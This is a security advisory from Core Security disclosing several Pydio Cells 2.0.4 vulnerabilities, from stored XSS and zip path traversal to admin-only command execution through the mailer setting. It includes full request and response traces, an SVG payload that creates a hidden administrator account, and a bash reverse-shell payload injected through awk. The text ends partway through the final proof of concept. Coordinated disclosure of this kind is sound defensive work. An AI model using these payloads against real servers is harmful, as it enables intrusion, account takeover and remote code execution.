Pydio Cells 2.0.4 Multiple Vulnerabilities

1. Advisory Information

Title: Pydio Cells 2.04 Multiple Vulnerabilities
Advisory ID: CORE-2020-0007
Advisory URL: https://www.coresecurity.com/core-labs/advisories/pydio-cells-204-multiple-vulnerabilities
Date published: 2020-05-28
Date of last update: 2020-05-28
Vendors contactedPydio
Release mode: Coordinated release

2. Vulnerability Information

Class: Unrestricted Upload of File with Dangerous Type [CWE-434], Improper Input Validation [CWE-20], Improper Neutralization of Special Elements used in an OS Command [CWE-78]
Impact: Code execution, Privilege Escalation
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2020-12847, CVE-2020-12848, CVE-2020-12849, CVE-2020-12850, CVE-2020-12851, CVE-2020-12852, CVE-2020-12853

3. Vulnerability Description

Pydio [1] is a global software company that sells a file synchronization and sharing solution known as Pydio Cells, which focuses on a centralizing collaboration and securing file sharing. It is available as either an open-source tool, which is recommended for home or personal use, or an enterprise solution intended for organizations.

Multiple vulnerabilities were found in Pydio Cells version 2.0.4 which could allow an attacker to achieve remote code execution in the underlying operating system.

The attacker could leverage a public file share link to gain authenticated access into the web application. By exploiting a stored cross-site scripting vulnerability and tricking an administrator user into accessing a custom URL, the attacker could obtain the victim's session identifiers. This would allow the attacker to impersonate the administrator and perform multiple actions, including creating a new user administrator account. After gaining privileged access to the application, the attacker could leverage another vulnerability in the Pydio Cells administrative console to perform remote code execution under the privileges of the user account running the application.

4. Vulnerable Packages

  • Pydio Cells 2.0.4 (Enterprise and Home), which is the latest version at the time of testing

Pydio Cells 2.0.3 and older versions are likely also affected, but they were not tested.

All tests were performed using the Pydio Cells Enterprise - OVF (virtual machine).

5. Vendor Information, Solutions, and Workarounds

Pydio has fixed the reported issues in the latest release, version 2.07. Release notes[2] are available for additional details.

6. Credits

This vulnerability was discovered and researched by Iván Koiffman and Ramiro Molina from Core Security Consulting Services.

The publication of this advisory was coordinated by Pablo A. Zurro from the CoreLabs Advisories Team.

7. Technical Description / Proof of Concept Code

7.1 Login as Temporary Shared User

[CVE-2020-12848] Once an authenticated user shares a file selecting the create a public link option, a hidden shared user account was created in the backend with a random username. An anonymous user that obtains a valid public link can get the associated hidden account username and password and proceed to login into the web application. Once logged into the web application with the hidden user account, some actions that were not available with the public share link) can now be performed, including:

  • Adding comments to the file that are visible to the sharing user
  • Setting a profile image for the hidden user

A malicious individual that obtains a public link to a file may leverage the profile image vulnerability described in 7.2 Stored Cross-site scripting (XSS) through profile pictures to attack other users of the web application.

The following proof of concept demonstrates the vulnerability:

 First, a valid user shares a file, creating a  public link:

7_1_pydio_cells_1

 

 

 

 

 

 

 

 

 

After accessing the public link, a PRELOG_USER value containing the username for the hidden user account associated is returned:

7_1_pydio_cells_2

 

 

 

 

 

 

 

 

 

The password for the hidden user account is composed client-side by appending “#$!Az1” to the previously obtained username :

7_1_pydio_cells_3

 

 

 

 

 

 

 

Once a public link is accessed, the client-side JavaScript code authenticates into the web application with the determined user credentials to access the shared file:

7_1_pydio_cells_4

 

 

 

 

 

 

 

 

 

 

 

 

 

Using this set of credentials, it is possible to authenticate into the web application normally as shown below. Notice that the hidden user can add comments to the shared file:

7_1_pydio_cells_5

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Finally, the hidden user can also set their own profile picture allowing them to exploit the Stored Cross-Site Scripting vulnerability described in 7.2 Stored Cross-site scripting (XSS) through profile pictures.

7_1_pydio_cells_6

 

 

 

 

 

 

 

 

 

 

7.2 Stored Cross-site Scripting (XSS) Through Profile Pictures

[CVE-2020-12849] Any user can upload a profile image to the web application, including standard and shared user roles. These profile pictures can later be accessed directly with the generated URL by any unauthenticated or authenticated user.

The following proof of concept shows that if a malicious user uploads a custom SVG file containing JavaScript code and tricks an authenticated user into clicking the URL link\, the embedded JavaScript code will be executed in the context of the victim’s session.

First, the SVG file containing JavaScript code is uploaded:

Request:
POST /a/frontend/binaries/USER/user HTTP/1.1
Host: 192.168.56.7
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjZmZDc1YjViNDhkNGJhOTE5MGQ1ZjE3ZTUwYjk3NDg4MTcyNmQ4NjEifQ.eyJpc3Mi
OiJodHRwczovLzE5Mi4xNjguNTYuNy9hdXRoL2RleCIsInN1YiI6IkNpUTVOMl[...]-4luyaiEHYEHCt3ZxUs5kz29YY5st7nUQyUUvddu-CMyHReb3t
sMCIscxg
Content-Type: multipart/form-data; boundary=---------------------------200779675429533450112825681422
Content-Length: 615
Origin: https://192.168.56.7
DNT: 1
Connection: close
Referer: https://192.168.56.7/welcome/
Cookie: pydio=MTU4NDY0MjEwNHxEdi1CQkFFQ180SUFBUkFCRUFBQV9nUU9fNElBQkFaemRISnBibWNNQlFBRGFuZDBCbk4wY21sdVp3ei1BeWdBX2d
Na1pYbEthR0pIWTJsUGFVcFRWWHBKTVU1cFNYTkpiWF[...]OMGNtbHVad3dIQUFWdWIyNWpaUVp6ZEhKcGJtY01KZ0FrWVdZNVkyRmtNbU10WmpNMVpp
MDBabUk0TFdFNE4yWXRZMlk0Wm1FeU5ESm
xZalZofGmpQperQDWZ_HPFMZuMcBUq2Ama7lw7CVphkkaX-3E_

-----------------------------200779675429533450112825681422
Content-Disposition: form-data; name="userfile"; filename="evilsvgfile.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,100 100,0" fill="#0000FF" stroke="#0000FF"/>
   <script type="text/javascript">
      alert('XSS');
   </script>
</svg>

-----------------------------200779675429533450112825681422—

Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Length: 39
Content-Type: application/json
Date: Thu, 19 Mar 2020 18:23:04 GMT
Server: 
Vary: Origin
Connection: close

{
  "binary": "ed767829-ec4.svg+xml"
 }

Then, the SVG file is uploaded as a profile picture:

7_2_pydio_cells_1

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Once the file is uploaded successfully, clicking the URL will prompt the JavaScript code to execute in the context of the user’s session.

An example URL to access the previously uploaded file is:

  • https://192.168.56.7/a/frontend/binaries/USER/user?ed767829-ec4.svg+xml

Here, an authenticated user accesses the SVG file with the URL specified above:

Request:
GET /a/frontend/binaries/USER/user?ed767829-ec4.svg+xml HTTP/1.1
Host: 192.168.56.7
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: https://192.168.56.7/welcome/
Cookie: pydio=MTU4NDY0MjEwNHxEdi1CQkFFQ180SUFBUkFCRUFBQV9nUU9fNElBQkFaemRISnBibWNNQlFBRGFuZDBCbk4wY21sdVp3ei1BeWdBX2d
Na1pYbEthR0pIWTJsUGFVcFRWWHBKTVU1cFNYTkpiWFJ3V2tOSk5rbHFXbTFhUkdNeFdXcFdhVTVFYUd0T1IwcG9UMVJGTlUxSFVURmFha1V6V2xSVmQxb
HFhek5PUkdjMFRWUmplVTV0VVRST2FrVnBabEV1WlhsS2NHTXpUV2xQYVVwdlpFaFNkMk42YjNaTWVrVTFUV2swZUU1cVozVk9WRmwxVG5rNWFHUllVbTl
NTWxKc1pVTkpjMGx1VGpGWmFVazJTV3RPY0ZWVVZrOU5iR3cyVkZaU2IySlZNVVJOVjJ4T1lXeHNOVlJHVWxOaVJUVllWRmhTVUZKR1duTlVhMDEzVGtVM
WRGWnRhRnBpVlRCNFZHdFNVMkZyTVhGU1ZrNURWMFZKTVZkclpITmthVWx6U1cxR01WcERTVFpKYlU1c1lrZDRla3hYV25saU1qVXdTV2wzYVZwWWFIZEph
bTk0VGxSbk1FNXFVWGxPUkVWNlRFTktjRmxZVVdsUGFrVXhUMFJSTWs1RVJUUk5WRTF6U1cwMWRtSnRUbXhKYW05cFdWZFpOVmt5Um10TmJVMTBXbXBOTVZ
wcE1EQmFiVWswVEZkRk5FNHlXWFJaTWxrMFdtMUZlVTVFU214WmFsWm9TV2wzYVZsWVVtWmhSMFo2WVVOSk5rbHJTbEZWTVVKdlpEQjBlVlZWYUVaVE0xVX
paRlJaZDJWRmFFMWliRVZwVEVOS2JHSlhSbkJpUmpreVdsaEtjRnB0Ykd4YVEwazJaRWhLTVZwVGQybGliVVowV2xOSk5rbHVWbnBhV0VscFpsRXVSMFJHVT
B0aGFIVmhUM0ZyYkhrM1ZraDRXRGd0ZUVvNGNscGtWVTg1YkZCc0xUWlZNVkIyWVZOdloxWXpjakozU1RNeGFIaDFXVFF0Tm13d1YyVnlRbVpKY25wbk5XUX
RjRE16V2t4WlNrWldkaTFuUzBwbU9VaFhNMWMyY1RnNVlsWlpNMmQ1Y0RWS1FYWmliRlJ1VW1sU01rOXpNMTgyU2t0NFIwZFZialF4YzNVemVVOXBialZwTk
hCd01GOHlXRGhaYUdSaVozTTBRVlZUUm0xcmFTMXdOM0pEY1VkeVRHTlJjV2cxVTNCR2RreHZZVWhJVms5UU5ERk1WRUowYXpSdmFsRnhObXB1UzFSZk5Yb3
lPSEZaWDFFd2REWjVVamh6VVRaNVNUTnhaVEJxTldoeVFuSkdhUzB3V21GTWJtaHVRVmxFZURWRU9FaG9UM0JRYjFKbFlrMVhiMEZJV21Gbk5FMVdUbGhhTUd
NMFlsQklTbmRMVlZBdE5HeDFlV0ZwUlVoWlJVaERkRE5hZUZWek5XdDZNamxaV1RWemREZHVWVkY1VlZWMlpHUjFMVU5OZVVoU1pXSXpkSE5OUTBselkzaG5C
bk4wY21sdVp3d1BBQTF5WldaeVpYTm9YM1J2YTJWdUJuTjBjbWx1Wnd4S0FFaERhR3hzV1Zkc01VMXRNSHBrU0dnd1pESnNkVTV0YUcxa1Z6RnJaRzFvYWxwd
VduWkZhR3h1WWtkc2RtUXpaek5hUkZKdlpGaHNNVTVZY0hwWmVtUnJXVmRTTldWVVZqVUdjM1J5YVc1bkRBZ0FCbVY0Y0dseWVRVnBiblEyTkFRR0FQeTg1M0
xZQm5OMGNtbHVad3dIQUFWdWIyNWpaUVp6ZEhKcGJtY01KZ0FrWVdZNVkyRmtNbU10WmpNMVppMDBabUk0TFdFNE4yWXRZMlk0Wm1FeU5ESmxZalZofGmpQpe
rQDWZ_HPFMZuMcBUq2Ama7lw7CVphkkaX-3E_

Response:
HTTP/1.1 200 OK
Content-Length: 381
Content-Type: image/svg+xml
Date: Thu, 19 Mar 2020 18:23:04 GMT
Server: 
Vary: Origin
Connection: close

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,100 100,0" fill="#0000FF" stroke="#0000FF"/>
   <script type="text/javascript">
      alert('XSS');
   </script> 
</svg>

The JavaScript payload is now executed:

7_2_pydio_cells_2

 

 

 

 

 

 

 

 

 

 

 

 

As a further proof of concept, the following example shows that once the payload is triggered by an administrator user role, it will obtain a new JWT token for the victim user, which can be leveraged to create a new administrator user account.

Below, the new administrator user account is named user99 and the associated password is Password1!:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,100 100,0" fill="#0000FF" stroke="#0000FF"/>
   <script type="text/javascript">

    var req0 = new XMLHttpRequest();
    req0.open('POST', "/a/frontend/session/", true);
    req0.setRequestHeader('Content-Type', 'application/json');
    req0.send("{}");
    req0.onload  = function() {
        var res =  req0.responseText.split(/"/)[3] ;

        var req1 = new XMLHttpRequest();
        req1.open('PUT', "/a/user/user99", true);
        req1.setRequestHeader('Content-Type', 'application/json');
        req1.setRequestHeader('Authorization', 'Bearer ' + res);
        req1.send("{\"GroupPath\":\"\",\"Attributes\":{\"profile\":\"admin\"},\"Login\":\"user99\",\"Password\":\"Password1!\"}");
    };
   </script> 
</svg>

7.3 Stored Cross-Site Scripting (XSS) Through File Uploads

[CVE-2020-12853] A malicious user can either upload or create a new file that contains potentially malicious HTML and JavaScript code to personal folders or accessible cells.

The following proof of concept demonstrates the vulnerability:

First, an HTML file is uploaded using the web application and the file is named xss.htm:

Request:
PUT /io/common-files/xss.htm?AWSAccessKeyId=gateway&Content-Type=application%2Foctet-stream&Expires=15853
36350&Signature=nsXxxqKK5XyQ95jqSHkmtgOKsqY%3D HTTP/1.1
Host: 192.168.56.7
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Pydio-Bearer: eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc3ZTg0MTcxZGRlMmRlNWJiZTRiZWYzOGI3OTFiMTNlM2RiNWVjZGYifQ.eyJpc3Mi
OiJodHRwczovLzE5Mi4xNjguNTYuNy9hdXRoL2RleCIsInN1YiI6IkNpUTVOMll6TVRobU1DMWlNall5TFRSbE5XTXRPRFZsTkMwNE5tVmhZbU0
xTkRSak1qRVNCWEI1WkdsdiIsImF1ZCI6ImNlbGxzLWZyb250IiwiZXhwIjoxNTg1MzM0OTMwLCJpYXQiOjE1ODUzMzQzMzAsIm5vbmNlIjoiN2
M4ZjczOGEtNzZhYy00ZjcwLTg3M2YtZTk4OWJmY2RjNTY4IiwiYXRfaGFzaCI6IkprMXgwdHlKOHlWM19VOHN6SHpDbHciLCJlbWFpbCI6IlwiO
0JFR0lOIHtzeXN0ZW0oXCIvdXNyL2Jpbi9iYXNoIC1pIFx1MDAzZVx1MDAyNiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvOTk5OSAwXHUwMDNlXHUw
MDI2MVwiKTtleGl0fVwiIyIsImVtYWlsX3ZlcmlmaWVkIjp0cnVlLCJuYW1lIjoidXNlciJ9.Lo-aDB-F9YhB_J1BAq1mBE4VQZfoJtwkR23YAU
8EtiwkBIBRDzpeQEU-UHtn18qWqQVpiujcapTXnk9OETVSRbb-NlsFa08nt8Z2x_dlu0I28wJ1MZOTmtevbOj2niLpDdnuO_0wP99FXLNnB9vwK
PMB4X5EEYRFO-P4imiWn15BiQ05iNiKE0WsjG8MHb1fb6pVWymU5ECEfThD39JoP9C1eC-b0aI8sXlbsgWBJyupxGLskaPpiR7Iu7fsPWdUdod4
5keYQBJPrGB_FCXAt57RUmdOFBRPx6zchxqvlKeo287Ky-WwRZ6WuyoCaU0cASL6yuxZMRUp0WcdnLmqYQ
Content-Type: application/octet-stream
Content-Length: 69
Origin: https://192.168.56.7
Connection: close
Referer: https://192.168.56.7/ws-common-files/

<html>
<body>
<script>alert("CoreSecurity")</script>
</body>
</html>

Response:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Date, Etag, Server, Connection, Accept-Ranges, Content-Range, 
Content-Encoding, Content-Length, Content-Type, X-Amz-Request-Id
Content-Length: 0
Content-Security-Policy: block-all-mixed-content
Date: Fri, 27 Mar 2020 18:48:26 GMT
Etag: ""
Server: 
Server: Minio/33854f42583b97d2d9317ceac32e2ecc45fd2c1e (linux; amd64)
Vary: Origin
X-Amz-Request-Id: 16003DB28F031371
X-Xss-Protection: 1; mode=block
Connection: close

Here, it is confirmed that the file has uploaded successfully:

7_3_pydio_cells_1

 

 

 

 

 

 

 

 

 

From there, an attacker could craft a URL and attempt to trick an authenticated user into clicking the link, which would execute the JavaScript code contained in the file within the victim user’s session.

The following is an example URL where the parameter pydio_jwt is a valid (unexpired) JWT token. This token can be associated to the attacker’s user account. The parameter response-content-disposition and response-content-type values are reflected in the Content-Type and Content-Disposition headers in the server response.

  • https://192.168.56.7/io/common-files/xss.htm?response-content-disposition=inline&response-content-type=text/html&pydio_jwt=eyJhbGciOiJSUzI1NiIsImtp[...]5ynGCM3lNtayrWvNOoMG3B7xLnfsORfhhajlsHERvME2z0YiKuknVvdBj0MzhvrrIeM5Dk1MhZhEE6M6YpL6vYZ2KGVKT9WD9qw

Note: By default, the JWT token expiration is set to 10 minutes.

Here, the uploaded file is be accessed :

Request:
GET /io/common-files/xss.htm?response-content-disposition=inline&response-content-type=text/html&pydio_jwt= eyJhbGciOiJSUzI1
NiIsImtp[...]5ynGCM3lNtayrWvNOoMG3B7xLnfsORfhhajlsHERvME2z0YiKuknVvdBj0MzhvrrIeM5Dk1MhZhEE6M6YpL6vYZ2KGVKT9WD9qw HTTP/1.1
Host: 192.168.56.7
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Response:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Disposition: inline
Content-Length: 69
Content-Security-Policy: block-all-mixed-content
Content-Type: text/html
Date: Fri, 27 Mar 2020 18:56:50 GMT
Etag: "0d89da51f1b074c076037d8b7b50347f"
Last-Modified: Fri, 27 Mar 2020 18:48:26 GMT
Server: 
Server: Minio/33854f42583b97d2d9317ceac32e2ecc45fd2c1e (linux; amd64)
Vary: Origin
X-Amz-Request-Id: 16003E281146B737
X-Xss-Protection: 1; mode=block
Connection: close

<html>
<body>
<script>alert("CoreSecurity")</script>
</body>
</html>

The JavaScript payload is then executed:

7_3_pydio_cells_2

 

 

 

 

 

 

 

 

7.4 Arbitrary File Write to Other User’s Private Folders (Repositories)

[CVE-2020-12851] An authenticated user can write or overwrite existing files in another user’s personal and cells folders (repositories) by uploading a custom generated ZIP file and leveraging the file extraction feature present in the web application. The extracted files will be placed in the targeted user folder’s.

The following proof of concept shows a user named “user” writing a new file to the personal file of a user named “user2.”  

First, a custom zip file is created:

> mkdir /user2

> echo testfile > "/user2/ziptestfile"

> zip ziptest.zip ../../user2/ziptestfile
  adding: ../../user2/ziptestfile (stored 0%)

> unzip -vl ziptest.zip 
Archive:  ziptest.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       9  Stored        9   0% 2020-03-25 15:03 77b0d315  ../../user2/ziptestfile
--------          -------  ---                            -------
       9                9   0%                            1 file

The zip file named ziptest.zip is uploaded to the web application by user:

Request:
PUT /io/personal-files/ziptest.zip?AWSAccessKeyId=gateway&Content-Type=application%2Foctet
-stream&Expires=1585160474&Signature=a%2BYVl4I2SKqKwfu0v6takqbsFVE%3D HTTP/1.1
Host: 192.168.56.7
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Pydio-Bearer: eyJhbGciOiJSUzI1NiIsImtpZCI6I[...]rD7vrXQ
Content-Type: application/octet-stream
Content-Length: 205
Origin: https://192.168.56.7
Connection: close
Referer: https://192.168.56.7/ws-personal-files/

PK[...]

Response:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Date, Etag, Server, Connection, Accept-Ranges, Content-Range, 
Content-Encoding, Content-Length, Content-Type, X-Amz-Request-Id
Content-Length: 0
Content-Security-Policy: block-all-mixed-content
Date: Wed, 25 Mar 2020 18:05:20 GMT
Etag: ""
Server: 
Server: Minio/33854f42583b97d2d9317ceac32e2ecc45fd2c1e (linux; amd64)
Vary: Origin
X-Amz-Request-Id: 15FF9E2F7CB66503
X-Xss-Protection: 1; mode=block
Connection: close

The zip file extraction is requested:

Request:
PUT /a/jobs/user/extract HTTP/1.1
Host: 192.168.56.7
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjkxOGZjZWQwZjM5ZWU1YTIxNGY4MWY0NGI5NjYxZTA2MjIwMzZkMmIifQ.
eyJpc3MiOiJodHRwczovLzE5Mi4xNjguNTYuNy9hdXRoL2RleCIsInN1YiI6IkNpUTVOMll6TVRobU1DMWlNall5TFRSbE5XTXRPRFZsTkMwN
E5tVmhZbU0xTkRSak1qRVNCWEI1WkdsdiIsImF1ZCI6ImNlbGxzLWZyb250IiwiZXhwIjoxNTg1MTYwMTA0LCJpYXQiOjE1ODUxNTk1MDQsIm5
vbmNlIjoiNGM0MTZlZmUtYjhlMy00Y2VkLTg0MzItZTBjMmRlZTEzMjExIiwiYXRfaGFzaCI6IjAtVGx0VHhQVHJnc2MwTXNrTlprZXciLCJlb
WFpbF92ZXJpZmllZCI6dHJ1ZSwibmFtZSI6InVzZXIifQ.bHG3A6o0wFminVaHZ-Ci74pDDwMGZjX7JxDVtYsjLGAjvyH8ldvFlg1MDOwzAwIN
sXEE5Ld18Bz7FbLKM2-yHEP-0R3cIJIcQsNNVmXRG10we0P6F3GzJSCrabsSf9QrIY3bcn5bdOhA8WZzCpMjygfqK8FNMkdPyZ-vSxLHiyESYn
qMk5nj41YmOpICVyI-MAZ0XbA16j_4LAzXDu5Srhu6nNGozfqlBOysAvnoyA-379eCtUiG3nwJV5_U37fFEuqVmzF2N3SMvOM0iypNdLI8SbAZ
C51eLwXqLxqeX-sTTBGFaYQMRpYBeTlpB1ZgsrRCA5-uZGSRO5trD7vrXQ
X-Pydio-Language: en-us
Content-Type: application/json
Content-Length: 117
Origin: https://192.168.56.7
Connection: close
Referer: https://192.168.56.7/ws-personal-files/

{"JobName":"extract","JsonParameters":"{\"node\":\"personal-files/ziptest.zip\",\"format\":\"zip\",\"target\":\"\"}"}

Response:
HTTP/1.1 200 OK
Content-Length: 66
Content-Type: application/json
Date: Wed, 25 Mar 2020 18:05:24 GMT
Server: 
Vary: Origin
Connection: close

{"JobUuid":"extract-archive-e9ebac29-7c41-4574-b100-89c76a374aa7"}

The file is uploaded and then extracted by user:

7.4_pydio_cells_1

 

 

 

 

 

 

 

 

 

After the file is extracted, the new file “ziptestfile” is created in the personal folder of user2.

Note that the file activity indicates that the file was created by user:

7_4_pydio_cells_2

 

 

 

 

 

 

 

 

 

 

 

 

 

From there, user2 could download the new file created by user:

Request:
GET /io/personal-files/ziptestfile?AWSAccessKeyId=gateway&Expires=1585160258&Signature=PYY5RBihBw0QPstlrWxzC%2F9ZE9
s%3D&response-content-disposition=inline&pydio_jwt=eyJhbGciOiJSUzI1NiIsImtpZCI6IjkxOGZjZWQwZjM5ZWU1YTIxNGY4MWY0NGI5N
jYxZTA2MjIwMzZkMmIifQ.eyJpc3MiOiJodHRwczovLzE5Mi4xNjguNTYuNy9hdXRoL2RleCIsInN1YiI6IkNpUTJNR0l6WW1Oa05TMHlaalJrTFRRMk5qY3RZbU
kyT0Mwd09EbGhOVEF5WmpGbFpUZ1NCWEI1WkdsdiIsImF1ZCI6ImNlbGxzLWZyb250IiwiZXhwIjoxNTg1MTYwMTUwLCJpYXQiOjE1ODUxNTk1NTAsIm5vbmNlIjo
iYjQwNjBlZTgtZmFiOS00NzJkLTlmNzMtNDBhMDFlOGRmZTE1IiwiYXRfaGFzaCI6IlZQMHA2eElDQi1fTWhQV040eldzMlEiLCJlbWFpbF92ZXJpZmllZCI6dHJ1
ZSwibmFtZSI6InVzZXIyIn0.mUTSweRZqDF3DZEwRVw67yE0y6lKSJe8qk5EKNI8IH5RnegkFUbUscMX_8gtnuOKLqJvv3op6Th_YpGc7bvSkIvsA0uWUNBc2pvJB
15ngmT3ss1rYvFUMm474UyvnyO5BSDIFYkmMXeWP1XVvfeDpL5TxSRSltNowZicW1ktXLI_CxeHLiShwEdeVqR9sdkhV4fIDRiTeqb45XCAE1xryYPC1tcfvkYhzx
SepmuoMboR_lwkJWfvz6tGRQ6vWR2Onx7P4jMwnAIBmHeKjfpgSqJ1q9tHrLtfeWSgO0fZ5hIHa1SccyV
3a8QDZgeV-FFFdGvtAFKPC5eGfa8JACXYw HTTP/1.1
Host: 192.168.56.7
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: https://192.168.56.7/ws-personal-files/
Upgrade-Insecure-Requests: 1

Response:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Disposition: inline
Content-Length: 9
Content-Security-Policy: block-all-mixed-content
Content-Type: application/octet-stream
Date: Wed, 25 Mar 2020 18:06:44 GMT
Etag: "e9409172a4036cc688f169c72131e921"
Last-Modified: Wed, 25 Mar 2020 18:05:26 GMT
Server: 
Server: Minio/33854f42583b97d2d9317ceac32e2ecc45fd2c1e (linux; amd64)
Vary: Origin
X-Amz-Request-Id: 15FF9E42E01B81EE
X-Xss-Protection: 1; mode=block
Connection: close

testfile


Below is the content of the file viewed by user2:

7_4_pydio_cells_3

 

 

 

 

7.5 Authenticated Remote Code Execution Through Mailer Weaknesses

[CVE-2020-12847] The Pydio Cells web application offers an administrative console named “Cells Console” that is available to users with an administrator role. This console provides an administrator user with the possibility of changing several settings, including the application’s mailer configuration.

It is possible to configure a few engines to be used by the mailer application to send emails. If the user selects the “sendmail” option as the default one, the web application offers to edit the full path where the sendmail binary is hosted. Since there is no restriction in place while editing this value, an attacker authenticated as an administrator user could force the web application into executing any arbitrary binary.

The following proof of concept will show the exploitation of this vulnerability, which consists of three steps:

  1. Modify the binary used by the sendmail engine
  2. Create a user with a malicious payload embedded within the email field
  3. Trigger the exploit by sending a test email to the aforementioned user

A user with administrator role submits a request to change privileges from the default sendmail binary path to /usr/bin/awk:

Request:
PUT /a/config/services%2Fpydio.grpc.mailer HTTP/1.1
Host: 192.168.0.43
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.0.43/settings/parameters/mailer
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjgyNTZlMzc3YWNkNTljNTZkNDQzNmZhOWI3YWNkNTI5NTZhMTM4MDkifQ.eyJpc3MiOiJod
HRwczovLzE5Mi4xNjguMC40My9hdXRoL2RleCIsInN1YiI6IkNpUXhObUl5WWpSbU5pMHhNR0l3TFRReU9EWXRZbUZqWVMwd01ERTBORGs0WTJRMk56VVNCWEI
1WkdsdiIsImF1ZCI6ImNlbGxzLWZyb250IiwiZXhwIjoxNTg0NzQyOTg2LCJpYXQiOjE1ODQ3NDIzODYsIm5vbmNlIjoiNjQzNmM3OGItOTNiNi00MTQzLThjY
jUtNDVkNmUxMjY0OTQ5IiwiYXRfaGFzaCI6IlZQbHpXbm9jRG5JTlo3d0NOUWd4cEEiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwibmFtZSI6ImFkbWluIn0.BQW
sWsKlKIhFDsSABaPS48GvB5LLpewjZMU7Pl-3SU3Z8cgNVzsq4KN1B3_rp47KqKvpmGLyH9yEabRIT8owPvWwExFJRgiX_uMxW16Av1pZp6TCKHS_6LhsOeoRx
GG_djbMMW2xVsv7J8UtweW8xPljY09KOetRjUJSwiBiivswNRjk-Wr7LyQTPPC6oOIdmBfgGmnwUWgefdkUxa0MuVob7sgmzMKugYXdHL_LEzV2J4RvGKj6K4n
50Re6FGQtpQu7v5THAOSlhXkx41mTne7SYKt5DDxVD0hTsfpC3bN-daG83HJLKe_RlaGjzmuCK4_DQ0eLITEvoUn_vjm8Gg
X-Pydio-Language: en-us
Content-Type: application/json
Content-Length: 171
Connection: close
Cookie: com.pydio.android.Client-smartbanner-closed=true
{"FullPath":"services/pydio.grpc.mailer","Data":"{\"queue\":{\"@value\":\"boltdb\"},\"sender\":{\"@value\":\"sendmail\",
\"executable\":\"/usr/bin/awk\"},\"valid\":false}"}

Response:
HTTP/1.1 200 OK
Content-Length: 171
Content-Type: application/json
Date: Fri, 20 Mar 2020 22:14:09 GMT
Server: 
Vary: Origin
Connection: close 
{"FullPath":"services/pydio.grpc.mailer","Data":"{\"queue\":{\"@value\":\"boltdb\"},\"sender\":{\"@value\":\"sendmail\",
\"executable\":\"/usr/bin/awk\"},\"valid\":false}"}

Next, a new user is created with a custom payload embedded inside the email field in order to gain remote code execution. For example, the following payload executes system commands that establish a reverse shell to an attacker-controlled server. The payload must be Unicode encoded.

Payload to establish a reverse shell
\u0022;BEGIN {system(\u0022/usr/bin/bash -i >& /dev/tcp/{IP}/{PORT} 0>&1\u0022);exit}\u0022#

The payload is set in the email field of the user named “userce”:

Request:
PUT /a/user/userce HTTP/1.1
Host: 192.168.0.43
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
